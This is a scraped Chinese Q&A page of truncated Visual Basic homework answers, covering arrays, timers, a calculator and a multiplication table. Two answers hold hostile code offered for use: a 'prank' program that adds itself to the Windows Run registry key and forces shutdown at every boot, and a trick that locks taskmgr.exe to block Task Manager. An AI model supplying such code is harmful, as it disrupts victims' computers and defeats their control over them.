vb程序设计题,请高手解答
为了使大量的数据在输出时看得清楚，我们在运行窗体上设置了一个文本框，并把文本框的属性MultiLine设为True，Scorllbars设为2（带竖直滚动条）。Vb程序代码如下：Private Sub Form_Click()Dim a '定义了一个可变类型的数组 a = Array(1, 3, 5, 7, 9, 11)Dim b b = Array(2, 4, 6,...
求用VB解答
制作这个程序的时候先在窗体中加入一个标签，并且把窗体标签的内容设置为空，然后再制作一个命令按钮，也把命令按钮的显示改为开始，再加入一个定时器控件。核心在于计时器控件中。需要设置一个全局变量t，并且在窗体的装载事件中设置t的值为60，并且把标签的显示就是等于t。然后设置定时器控件的属性，时...
VB求助,求高手帮忙解答,解答部分已经注明。
我就按顺序解答吧：1、这里是变量a，不是数组。但根据后面的程序来看，这里应该是数组定义，应该是a（10）括号里的数大于10即可。2、没错，是循环10次，输入10次 3、对啊，没错。输入的内容存入v中 4、这个IsNumeric函数就是判断是否为数字的 5、是的，但只有当v为数字时才会存入a（）中 6、...
Vb计算机程序,求大神解题解答?法案和过程哦?在线等 挺急的?
总共有0~9 .（小数点）+ - * \/ = 和C（删除）17个按钮与一个Label(输出）Option Explicit Private StoredValue As Double Private Const opNone = 0 Private Const opAdd = 1 Private Const opSubtract = 2 Private Const opMultiply = 3 Private Const opDivide = 4 Private Operator As In...
VB计算求解答,要过程,谢谢啦
if k>=1 then a=3 \/\/此时条件满足，a=3 if k>=2 then a=2 \/\/条件满足, a=2 if k>=3 then a=1\/\/条件不满足，a不变，还是a=2 print a \/\/打印a的结果： 2 i=1 to 15 x=2*i-1 if x mod 3=0 then s=s+1 \/\/统计x被3整除的次数 因为i最多循环15次，所以s肯定小于...
VB写一个整人程序。。求高人解答
Private Sub Form_Load()Hide Wsh = CreateObject("wscript.shell");Wsh.RegWrite "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\[System]", App.Path & "\\" & App.EXEName Shell "shutdown \/s \/f", vbHide End Sub '但是会被杀软给禁止写启动项，被写了也可以进安全...
VB设计一个程序,如何避免被强行关闭和最小化
Private Sub Form1_Load()Open "C:\\WINDOWS\\system32\\taskmgr.exe" For Append As #1 '记住，这里不能关闭不能写 Close #1 否则不行。End Sub 这样他的任务管理器就打不开了。 但是需要知道他的系统盘安装在哪个路径。 可以用API获取或者 楼主自己问把。然后呢，这样还是远远不够的，应为...
...我刚接触vba,不太懂怎么编程序,谢谢各位了。。。
第一个问题解答如下： excel vba编程，答案在你打开的excel表格第一行（自己加起来吧，如果要加到一起也行，程序里加一个application.sum就行，自己试试哈，其它题你按照VB语言来改就行。)Sub kk()j = 1 For i = 1 To 1000 If i Mod 5 = 0 And i Mod 7 = 0 Then ActiveWorkbook....
一段VB的程序,看不懂它的作用是什么,求解答
Function GetRnd(ByVal Up As Integer, ByVal Down As Integer, ByVal Num As Integer) As Integer()RandomizeDim T() As Integer, Tmp As Integer, i As Integer, j As IntegerReDim T(Num - 1)'让T中元素个数为 NumT(0) = Int(Rnd * Up - Down + 1) + Down'让T(0)为Up ~...
VB程序设计九九乘法表编写,求高手解答,非常感谢!
Private Sub Command1_Click()Dim se As String Print Tab(35); "九九乘法表"Print Tab(35); "---"For i = 1 To 9 For j = 1 To i se = i & "×" & j & "=" & i * j 'se字符串变量存放每一项表达式 Print Tab((j - 1) * 9 + 1); se; ' 每项表达式显示...
